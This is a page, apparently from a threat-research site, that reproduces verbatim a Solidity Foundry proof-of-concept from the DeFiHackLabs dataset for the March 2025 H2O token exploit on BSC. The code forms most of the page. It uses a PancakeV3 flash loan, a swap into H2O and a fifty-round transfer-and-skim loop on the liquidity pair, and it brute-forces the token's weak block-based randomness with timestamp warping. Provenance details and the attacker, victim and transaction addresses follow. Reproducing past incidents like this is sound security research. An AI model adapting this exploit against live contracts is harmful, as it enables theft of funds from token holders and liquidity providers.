Public reproduction file
src/test/2025-03/H2O_exp.sol
Public reproduction file for dataset entry H2O.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 22470 USD8// Attacker : https://bscscan.com/address/0x8842dd26fd301c74afc4df12e9cdabd9db107d1e9// Attack Contract : https://bscscan.com/address/0x03ca8b574dd4250576f7bccc5707e6214e8c6e0d10// Vulnerable Contract : https://bscscan.com/address/0xe9c4d4f095c7943a9ef5ec01afd1385d011855a111// Attack Tx 1(Loss profit) : https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb712// Attack Tx 2(revert) : https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd13// Attack Tx 3(revert) : https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e14// Attack Tx 4(profit) : https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc315// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)17// Contracts involved18address constant H2O = 0xe9c4D4f095C7943a9ef5EC01AfD1385D011855A1;19address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;21address constant pancakeSwapFactoryV2 = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;22address constant PancakeV3Pool = 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb;23address constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;25contract H2O_exp is Test {26 address attacker = makeAddr("attacker");28 function setUp() public {29 vm.createSelectFork("bsc", 47_454_899 - 1);30 }32 function testPoC() public {33 vm.startPrank(attacker);34 AttackerC attC = new AttackerC();36 // Fund the contract37 deal(BUSD, address(attC), 300 ether);39 // 1st attack(No profit): https://bscscan.com/tx/0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb740 _setRandomIn(0);41 attC.attack();42 console2.log("Profit:", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);44 // 2nd attack(revert), fail random check: https://bscscan.com/tx/0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd46 // 3rd attack(revert), fail random check: https://bscscan.com/tx/0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e48 // 4th attack: https://bscscan.com/tx/0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc350 _setRandomIn(1);51 attC.attack();52 console2.log("Profit:", int256(IFS(BUSD).balanceOf(address(attC))) - 300 ether);53 }55 function _setRandomIn(uint256 n) internal {56 while(true) {57 bytes32 randomBytes = keccak256(abi.encodePacked(58 block.timestamp, 59 IFS(H2O).pair(),60 blockhash(block.number-1))61 );62 uint256 r = uint256(randomBytes) % 2;63 if (r == n) break;64 vm.warp(block.timestamp + 1);65 }66 }67}69contract AttackerC {70 address pair;72 function attack() external {73 pair = IFS(pancakeSwapFactoryV2).getPair(H2O, BUSD);75 IFS(PancakeV3Pool).flash(76 address(this), 77 100000 ether,78 0,79 ""80 );82 }84 function pancakeV3FlashCallback(85 uint256 fee0,86 uint256 fee1,87 bytes calldata data88 ) external {89 uint256 bal0 = IFS(BUSD).balanceOf(address(this));90 IFS(BUSD).approve(pancakeSwapRouterV2, type(uint256).max);92 address[] memory path = new address[](2);93 path[0] = BUSD;94 path[1] = H2O;95 IFS(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(96 bal0,97 0,98 path,99 address(this),100 block.timestamp101 );103 for (uint256 i = 0; i < 50; i++) {104 uint256 bal = IFS(H2O).balanceOf(address(this));105 IFS(H2O).transfer(pair, bal);106 IFS(pair).skim(address(this));107 }109 uint256 bal1 = IFS(H2O).balanceOf(address(this));110 console2.log(bal1);112 IFS(H2O).approve(pancakeSwapRouterV2, type(uint256).max);114 address[] memory path2 = new address[](2);115 path2[0] = H2O;116 path2[1] = BUSD;117 IFS(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(118 bal1,119 0,120 path2,121 address(this),122 block.timestamp123 );125 IFS(BUSD).transfer(PancakeV3Pool, 100000 ether + fee0);126 }127}129interface IFS is IERC20 {130 // PancakeSwap: Pair131 function skim(address to) external;133 // PancakeSwap: Factory v2134 function getPair(address tokenA, address tokenB) external view returns (address pair);136 // PancakeV3Pool137 function flash(138 address recipient,139 uint256 amount0,140 uint256 amount1,141 bytes calldata data142 ) external;144 function pancakeV3FlashCallback(145 uint256 fee0,146 uint256 fee1,147 bytes calldata data148 ) external;150 // IPancakeRouter02151 function swapExactTokensForTokensSupportingFeeOnTransferTokens(152 uint amountIn,153 uint amountOutMin,154 address[] calldata path,155 address to,156 uint deadline157 ) external;159 // H2O160 function pair() external view returns(address);161}Analysis
Dataset entry
Public Foundry test for “H2O” (2025-03-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8842dd26fd301c74afc4df12e9cdabd9db107d1e
- Attack Contract
0x03ca8b574dd4250576f7bccc5707e6214e8c6e0d
- Vulnerable Contract
0xe9c4d4f095c7943a9ef5ec01afd1385d011855a1
- Attack Tx
0x729c502a7dfd5332a9bdbcacec97137899ecc82c17d0797b9686a7f9f6005cb7
- Attack Tx
0x3b0891a4eb65d916bb0069c69a51d9ff165bf69f83358e37523d0c275f2739bd
- Attack Tx
0xd97694e02eb94f48887308a945a7e58b62bd6f20b28aaaf2978090e5535f3a8e
- Attack Tx
0x994abe7906a4a955c103071221e5eaa734a30dccdcdaac63496ece2b698a0fc3
File record
- Name
- H2O
- Path
- src/test/2025-03/H2O_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 29258e54ecf404dbea682ea1a5907f2ab0874dd5
- Language
- Solidity
- Size
- 163 lines
- Date
- 2025-03-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/H2O_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 29258e54ecf404dbea682ea1a5907f2ab0874dd5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.